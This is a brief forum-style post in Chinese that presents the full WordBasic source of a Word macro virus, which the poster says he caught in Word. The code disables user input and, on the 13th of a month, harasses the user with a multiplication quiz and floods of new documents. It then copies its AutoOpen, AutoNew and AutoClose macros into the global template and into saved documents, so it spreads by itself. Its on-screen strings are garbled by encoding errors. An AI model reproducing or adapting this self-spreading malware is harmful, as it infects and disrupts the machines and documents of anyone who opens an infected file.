下面是 宏1 病毒的源码,是我在Word下抓到的:
还有,找宏病毒并不用完全知道Word文挡的格式,因为那时保密的
但在Doc文件中宏和文挡内容是分开的,所以可以查出....
Dim nm__()
Public Sub MAIN()
ReDim nm__(4)
Dim test
Dim con
Dim tog$
Dim i
Dim ans$
Dim j
Dim nor
Dim kk
Dim t
Dim file$
Dim filem$
Dim nor1
Dim kkk
Dim tt
WordBasic.DisableInput 1
If WordBasic.Day(WordBasic.Now()) = 13 then
try:
On Error GoTo -1: On Error GoTo 0
On Error GoTo -1: On Error GoTo try
test = -1
con = 1
tog$ = ""
i = 0
While test = -1
For i = 0 To 4
nm__(i) = WordBasic.Int(Rnd() * 10000)
con = (con * nm__(i))
If i = 4 then
tog$ = tog$ + Str(nm__(4)) + " =?"
GoTo beg
End If
tog$ = tog$ + Str(nm__(i)) + " *"
Next i
beg:
WordBasic.Beep
ans$ = WordBasic.[InputBox$]("さぱ琌 " + WordBasic.[Date$]() + " ,蛤????み衡笴栏" + Chr(13) + _
"璝?氮岿,??钡?綺举毙▅.............." + Chr(13) + _
tog$, "?芖 NO.1 Macro Virus")
If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = WordBasic.[LTrim$](Str(con)) then
WordBasic.MsgBox "?禤?氮癸?,?絋﹚碞?禗?稱?笵?....", _
"?芖 NO.1 Macro Virus"
WordBasic.FileNewDefault
WordBasic.CenterPara
WordBasic.FormatFont Font:="灿?砰", Points:=16, Bold:=1, Underline:=1
WordBasic.Beep
WordBasic.Insert "?孔エ栋痜瑀?"
WordBasic.InsertPara
WordBasic.Beep
WordBasic.Insert "氮?:"
WordBasic.Italic 1
WordBasic.Insert "и碞琌....."
WordBasic.InsertPara
WordBasic.InsertPara
WordBasic.Italic 0
WordBasic.FormatFont Font:="灿?砰", Points:=16, Bold:=1, Underline:=1
WordBasic.Beep
WordBasic.Insert "??箇ňエ栋痜瑀?"
WordBasic.InsertPara
WordBasic.Beep
WordBasic.Insert "氮?:"
WordBasic.Italic 1
WordBasic.Insert "ぃ璶?и....."
GoTo exit_
else
For j = 1 To 20
WordBasic.Beep
WordBasic.FileNewDefault
Next j
WordBasic.CenterPara
WordBasic.FormatFont Font:="灿?砰", Points:=16, Bold:=1, Underline:=1
WordBasic.Insert "エ栋痜瑀"
GoTo try
End If
Wend
End If
nor = WordBasic.CountMacros(0)
If nor > 0 then
For kk = 1 To nor
If WordBasic.[MacroName$](kk, 0) = "AutoOpen" then
t = 1
End If
Next kk
End If
file$ = WordBasic.[FileName$]()
filem$ = file$ + ":AutoOpen"
If t <> 1 then
WordBasic.MacroCopy filem$, "AutoOpen"
WordBasic.MacroCopy filem$, "AutoNew"
WordBasic.MacroCopy filem$, "AutoClose"
End If
nor1 = WordBasic.CountMacros(1)
If nor1 > 0 then
For kkk = 1 To nor1
If WordBasic.[MacroName$](kkk, 1) = "AutoOpen" then
tt = 1
End If
Next kkk
End If
If tt <> 1 then
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "AutoOpen", filem$
End If
exit_:
End Sub